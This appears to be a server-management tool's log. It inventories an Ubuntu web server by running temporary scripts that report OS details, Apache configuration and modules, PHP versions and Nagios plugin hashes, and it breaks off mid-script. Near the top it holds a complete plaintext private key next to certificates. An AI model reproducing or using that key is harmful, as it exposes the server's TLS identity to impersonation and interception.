aWN0aW9uYXJ5Lm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzk1LmNybDCCAQUGCisGAQQB1nkC
BAIEgfYEgfMA8QB3AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
msV/IcEAAAQDAEgwRgIhANOk0T6uVoXKwPiHlomoLdJ2sVfdXguwZKkWSijXyZhF
AiEAzZrc8h+VyAA0WqqOwnx1aM56qYcpo0zKFs2GfLE+YbgAdgDLOPcViXyEoURf
W8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZrFfyHeAAAEAwBHMEUCIGY5QqPknURj
IIZzzkMZblv4TyPGnzarx02qFoTpc59iAiEA5/vSJd3HrcLQRoxZQNNNKhF7eGrp
FI8DxsAEfEQaL2gwDQYJKoZIhvcNAQELBQADggEBACELrtkA3Wj5NU87hWrkU7sF
iKBiJc0nACeOVsBEo22mQ+nT+pgrPKpXBLRqf9vd9enBeEdFrKN3bKSVlZYTRBz6
AQKaTjEUrVSIBBiz9pUVI/EWuJp7Tff31A3W/74t6fDGrzD/xmEL0wA49Ie9CPZp
g02dTjTdh0lDmKPSwP7GERhHAgle6UCztkFkQzIrVEV3IHEBIvjsJQ66Ys6ZRt8Z
IJFokTBtwYsqBXxZcmWTwcvf69I1fYIuFbRmffE5yIq+lDurMqCfP+XRKgcA+zv+
FVXnaKZD3zf8kWhf7zFjN2md7h7ERFZV2/vY6PMVZP/lRt280hU3vBJIzqPL6As=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDGPtFasrUkxOpN
OsG3Titk9UOP/rzdHufkaBTB3ZrnUZvpua9hhkyKjNwXxbkS9D8OWKaBXzFG53A5
/ZEJ+jpNtGF3JfCD2v8q3HRw2C6TJLVjIUnMMsK+JoJnM03gcVDinem125G2uDNI
olcYb6R61rg9NXIo5BYY+1ACuFGnYKmalWj+sDN6JMYgHxhu1UFeJWoWfyzGfxn1
5ZktONPQ4rlu+KDy32Xvk9sZLNsnCe8XeIRSa0+tYSx8DELIYQIbX/bDszKRXav6
Wvx4MjXkygRdPnrVgTb7+a8bzs7XDwDosWUkvUMGfUypVX654XEU3y6UkaAp2yTU
5WIBX3lXAgMBAAECggEACEa3FsI/LbnKzk6Vp8FrrltO5sQLvm973t05gJ5vyRhv
GeLWn4urxlz7E0L95vyrZT3uNZhzxjIDTWh4laIMrRHKv96lm9uYq4Fomw1rZFkz
+V96ZTv5RVb2Ori5l5Uje1J8X0s7WhV2jqG4YRzIERjFuEhy66IaChDz1ik7v3EG
vPgrVU3MPGuOZrCM6smJxrX70glz+WatEnHlJ3cTMwcdnI7dCRQMlnn84R8Gd6be
MONvpfLYQL++uY+IW7etxI9iPDLUubOyxi44CS+MDs9196J0Ho+FxiuyCsaJgOhS
EIUNxZr4M+vnVsdGflO5A9ti37KGA4/xId2JaGvRgQKBgQD4joAQHwCpep1jpeCF
N4gT8OswtKVT0b766/nvToWKmrDWumtHnW6nZb9BT0NegCVbGz5/9a2OobfbPBiG
xGXdj8VgA5UadBpfnbbpgOZ/Q9x7mg60zGzKOQ4QD1NaBc8rkfcW2Ex/wPdYqy+5
RJWZ5Ldf9/2V3CfCTzwKtN7bWwKBgQDMLp5NIjMjPa1Lz60FbhbbEG5ijMXSs2Ez
JPbt3A8bWqgYQZtsDXqxk7HanuFKn6gl+RSKOJQBFWSASRj7VlEV7S4p4JRG2Rs0
+zzxVmYrjeKbj3+EEbiyl14gsFueCfeyFDC8FbpTGDoLse0jP/FUO7hkx30Mum4U
gUt3rVLGtQKBgCQtgaBXEt6YNT5iz3o0af8VCvaM5J99oQGexUM6t59EAsdOXP0Q
giGlYqAb7F9d4ZIQNhmj5b4j9cHYTm2XOoh0O7NM8i/mhEw0hYIZO/N8KiRneQqB
0rfgdBaMVIJ+4/egiElv9DqIGLh0Oj8KJ4g9zR8P1n4wjCzxIXkheGqPAoGBAKxq
jVhbEc2nbmf/JX7ZWMmBlYT4lK/4s5KJm05+Le+OXTWmaQUUWNANBPm0glAOg+IU
9AhIAIrtsqE1mLfcSrp2Py4zq2IsQPI7WVn9+Ga8+GceBLLUeB+u/FgkNCk/B3/D
1udsfZtfcNyhUbsbasETcQEBB5Kw9vWvvLeBj82lAoGANEPH29UWQAxjiaRhYBLa
qMMH25l+ih2kfFlZgt/1PoObao3VtaNMXwZU70ReWVIH9Zmtgj4oTou87F/v6VJe
BFQbOXE689M0j8Hppsd0TqWngwVNKjuPqh0tvxNQ5/GY4cuEwPMXWD+zM4P5EBCi
FHh9/I+anZJz/U53tVZDt5I=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-27 13:30:30: Establishing a connection
2025-11-27 13:30:34: Establishing a connection
2025-11-27 13:30:35: Performing Server Status
2025-11-27 13:30:35: 

PUT: /tmp/pkp189688

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-11-27 13:30:35: 

chmod 755 /tmp/pkp189688; /tmp/pkp189688; rm /tmp/pkp189688

2025-11-27 13:30:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bullseye/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.6 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size	Used	Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 5.4.0-216-generic



2025-11-27 13:30:35: 

PUT: /tmp/pkp617540

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-11-27 13:30:35: 

chmod 755 /tmp/pkp617540; /tmp/pkp617540; rm /tmp/pkp617540

2025-11-27 13:30:35: 


[apache2]
Server version: Apache/2.4.41 (Ubuntu)
Server built:   2025-04-02T18:34:29
Server's Module Magic Number: 20120211:88
Server loaded:  APR 1.6.5, APR-UTIL 1.6.1
Compiled using: APR 1.6.5, APR-UTIL 1.6.1
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_SYSVSEM_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 876
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         876  0.0  0.8 229016 34160 ?        Ss   Nov15   1:32 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 cgi_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-11-27 13:30:35: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'aries',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 20.04.6 LTS',
  'rel' => '20.04.6',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'cgi_module',
      18 => 'deflate_module',
      19 => 'dir_module',
      20 => 'env_module',
      21 => 'filter_module',
      22 => 'headers_module',
      23 => 'mime_module',
      24 => 'mpm_prefork_module',
      25 => 'negotiation_module',
      26 => 'php_module',
      27 => 'proxy_module',
      28 => 'proxy_fcgi_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
    ),
  ),
)


2025-11-27 13:30:35: 

PUT: /tmp/pkp419955

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-11-27 13:30:35: 

chmod 755 /tmp/pkp419955; /tmp/pkp419955; rm /tmp/pkp419955

2025-11-27 13:30:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php7.4 - server-side, HTML-embedded scripting language (metapackage)



2025-11-27 13:30:35: 

PUT: /tmp/pkp827229

#!/bin/bash
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-11-27 13:30:35: 

chmod 755 /tmp/pkp827229; /tmp/pkp827229; rm /tmp/pkp827229

2025-11-27 13:30:35: 


[php7.4]
php=/usr/bin/php7.4
fpm=/etc/php/7.4/fpm/pool.d
version=7.4.33


2025-11-27 13:30:35: 

PUT: /tmp/pkp935102

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-11-27 13:30:35: 

chmod 755 /tmp/pkp935102; /tmp/pkp935102; rm /tmp/pkp935102

2025-11-27 13:30:35: 
(gzipped output)


MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 8fd8035105e240bc8631a4ed1a2baab7
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= 1ed8753ee170fda2d6a1e91b181284e9
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2025-11-27 13:30:35: 

PUT: /tmp/pkp588645

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-11-27 13:30:35: 

chmod 755 /tmp/pkp588645; /tmp/pkp588645; rm /tmp/pkp588645

2025-11-27 13:30:35: 


status=ok


2025-11-27 13:30:35: 

PUT: /tmp/pkp529816

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

